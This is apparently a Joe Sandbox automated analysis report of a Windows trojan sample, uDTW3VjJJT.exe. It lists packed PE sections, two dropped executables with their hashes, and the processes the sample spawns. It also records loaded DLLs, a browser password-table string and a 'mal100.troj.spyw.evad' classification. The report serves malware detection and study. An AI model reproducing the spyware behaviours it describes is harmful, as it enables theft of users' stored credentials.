PE file contains section with special chars

Source: uDTW3VjJJT.exe	Static PE information: section name:
Source: uDTW3VjJJT.exe	Static PE information: section name: .idata
Source: uDTW3VjJJT.exe	Static PE information: section name:
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name:
Source: DXNVSY83L0YWDTI5Q.exe.0.dr	Static PE information: section name: .idata
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name:
Source: FC6S9INH3UEK91EJWRLCPKUP1.exe.0.dr	Static PE information: section name: .idata

Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe 998C8DDDF5FC3D73A386669C03CE5A4D371FB1D09983B1828F3ED49598AF0B57
Source: Joe Sandbox View	Dropped File: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe 196A92F8482CC549EFACDEC30DD39D0F662584F78FDD8FC612D28D48860A5123

Source: uDTW3VjJJT.exe	Binary or memory string: OriginalFilename vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2525224111.00000000060C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2528176727.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2531705815.00000000061F9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2542587099.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515366668.000000000616F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2518593435.0000000006195000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516416825.00000000060BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2529596247.00000000061EA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2509114808.00000000061F4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519849995.000000000619B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2507248888.0000000005D24000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515903085.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2541302625.0000000005CC9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2541627764.0000000001450000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516039426.000000000617C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2525413704.00000000061DE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2521931200.00000000060B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2514384760.000000000615F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2522085388.00000000061A6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2525771495.00000000061DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2534566608.00000000060BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2521783035.00000000061B2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2523758161.00000000061C8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2517356537.00000000060C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519700211.00000000060B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2527650866.00000000060C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2526612945.00000000060C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2520407183.000000000628F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2529058225.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515031436.0000000006173000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2541581041.000000000146C000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2528516636.00000000061E7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2522416514.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2533710256.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519536555.0000000006196000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2532499529.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519201039.000000000626F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2541366618.0000000005C3D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515779688.0000000006183000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515644215.00000000060C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2523062626.00000000060B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2517869751.0000000006194000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2510020082.0000000006204000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2517501631.000000000618B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2523555159.00000000060C0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2522588055.00000000061BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2514832432.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2532980146.00000000061FC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2509625996.00000000060B6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519993650.00000000060B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2526059078.0000000006301000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2533956331.0000000006214000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2527927716.00000000061E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2527397568.00000000061E8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516160948.00000000060BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2523387159.00000000062D4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2524625909.00000000061C7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2530237887.0000000006328000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2520708802.00000000060C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2525588761.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2508365374.0000000005D1A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2521213310.00000000062A4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2509331666.00000000060C4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2522777027.00000000060B9000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2534780624.0000000006207000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515212482.00000000060C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2521441216.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2522904568.00000000061C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2525050947.00000000062DB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2509495112.0000000006162000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2508944631.0000000006154000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2527113582.00000000060BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2513687451.00000000060BB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516543042.0000000006178000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2524240544.00000000061CD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2534152965.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2530885707.00000000060BC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2509814528.000000000615A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2517207834.0000000006190000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2541484535.0000000005C16000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2518845822.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2520906462.00000000061AC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2506810844.0000000005EB6000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2524005630.00000000060BF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516672410.00000000060BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2524425406.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2507748635.00000000060C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2526257527.00000000060C3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2517078507.00000000060C2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2522244861.000000000629C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2508148649.0000000006162000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519369977.00000000060BA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2519024018.0000000006189000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516294101.0000000006182000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2520152244.000000000619F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2508703321.00000000060B8000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2518429077.00000000060B7000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516941717.0000000006245000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2533335998.0000000006342000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2514589360.000000000620E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2526850570.00000000061F2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2517644854.00000000060BE000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2515515436.0000000006225000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2516808458.0000000006177000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2534359528.0000000006209000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2523228374.00000000061BD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe
Source: uDTW3VjJJT.exe, 00000000.00000003.2526435029.00000000061F1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs uDTW3VjJJT.exe

Source: uDTW3VjJJT.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: uDTW3VjJJT.exe	Static PE information: Section: ZLIB complexity 0.9973512414383562
Source: uDTW3VjJJT.exe	Static PE information: Section: jxigntbe ZLIB complexity 0.9947052139792232

Source: uDTW3VjJJT.exe, 00000000.00000003.2296930285.0000000005C18000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: .sln<

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@5/3@3/3

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\FC6S9INH3UEK91EJWRLCPKUP1.exe.log

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Mutant created: NULL

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

File created: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe

Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: uDTW3VjJJT.exe, 00000000.00000003.2248717166.0000000005C49000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2249511990.0000000005C2D000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2275766593.0000000005C38000.00000004.00000800.00020000.00000000.sdmp, uDTW3VjJJT.exe, 00000000.00000003.2275593572.0000000005C44000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: uDTW3VjJJT.exe

ReversingLabs: Detection: 63%

Source: FC6S9INH3UEK91EJWRLCPKUP1.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application
Source: DXNVSY83L0YWDTI5Q.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe

File read: C:\Users\user\Desktop\uDTW3VjJJT.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\uDTW3VjJJT.exe "C:\Users\user\Desktop\uDTW3VjJJT.exe"
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process created: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe "C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe"
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process created: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe "C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe"
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process created: C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe "C:\Users\user\AppData\Local\Temp\FC6S9INH3UEK91EJWRLCPKUP1.exe"	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Process created: C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe "C:\Users\user\AppData\Local\Temp\DXNVSY83L0YWDTI5Q.exe"	Jump to behavior

Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\uDTW3VjJJT.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
